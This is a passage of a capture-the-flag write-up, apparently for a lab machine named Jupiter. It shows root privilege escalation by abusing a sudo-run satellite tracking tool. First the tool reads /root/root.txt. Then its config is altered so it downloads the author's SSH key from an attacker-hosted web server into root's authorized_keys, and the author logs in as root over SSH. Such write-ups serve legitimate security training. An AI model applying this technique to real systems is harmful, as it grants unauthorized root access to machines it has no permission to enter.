"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
jovian@jupiter:/opt/solar-flares$
jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
Get:1 http://celestrak.org/NORAD/elements/noaa.txt
^C
jovian@jupiter:/opt/solar-flares$
If everything went as planned, we should see the
root.txt
file in the /tmp/tle
directory:jovian@jupiter:/opt/solar-flares$ ls -l /tmp/tle
total 4
-rw-r--r-- 1 root root 0 Oct 22 14:25 noaa.txt
-rw-r--r-- 1 root root 33 Oct 22 14:25 root.txt
-rw-r--r-- 1 root root 0 Oct 22 14:17 weather.txt
jovian@jupiter:/opt/solar-flares$
root.txt
file has a larger size. Let's proceed to read its content:jovian@jupiter:/tmp/tle$ cat root.txt
4d4ff6fd5ee1c21c6d9b75116cffe223
jovian@jupiter:/tmp/tle$
To access the system as the
root
user, I thought about trying to list the contents of the /root/.ssh/id_rsa
file. However, this file didn't exist on the victim machine's system.I came up with the idea of downloading my SSH public key and storing it in the
/root/.ssh/authorized_keys
file. To do this, we need to modify certain information in the config.json
file:jovian@jupiter:/tmp/tle$ cat /tmp/config.json
{
"tleroot": "/root/.ssh/",
"tlefile": "authorized_keys",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://10.10.16.3/authorized_keys",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
jovian@jupiter:/tmp/tle$
tleroot
, tlefile
, and tlesources
.The
tleroot
field's value is the directory where I want to store the downloaded content. The tlefile
field's value is the name of the file where I want to store the downloaded content. Finally, the tlesources
field contains the URLs from which I want to download the file's content.In this case,
tleroot
will point to the /root/.ssh
directory, the name of the file that will be created with the downloaded content will be authorized_keys
, and the content will be downloaded from my attacker machine. Thus, I will need to host an HTTP server to serve the authorized_keys
file:elswix@kali$ cp /home/elswix/.ssh/id_rsa.pub authorized_keys
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
jovian@jupiter:/tmp/tle$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.16.3/authorized_keys
Get:1 http://celestrak.org/NORAD/elements/noaa.txt
^C
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [22/Oct/2023 11:36:55] "GET /authorized_keys HTTP/1.1" 200 -
root
user via SSH without needing to provide credentials:elswix@kali$ ssh root@10.10.11.216
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Oct 22 02:38:50 PM UTC 2023
System load: 0.0
Usage of /: 81.3% of 12.33GB
Memory usage: 26%
Swap usage: 0%
Processes: 243
Users logged in: 0
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:af90
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@jupiter:~#
@root@jupiter:~# cat /root/root.txt
4d4ff6fd5ee1c21c6d9b75116cffe223
@root@jupiter:~#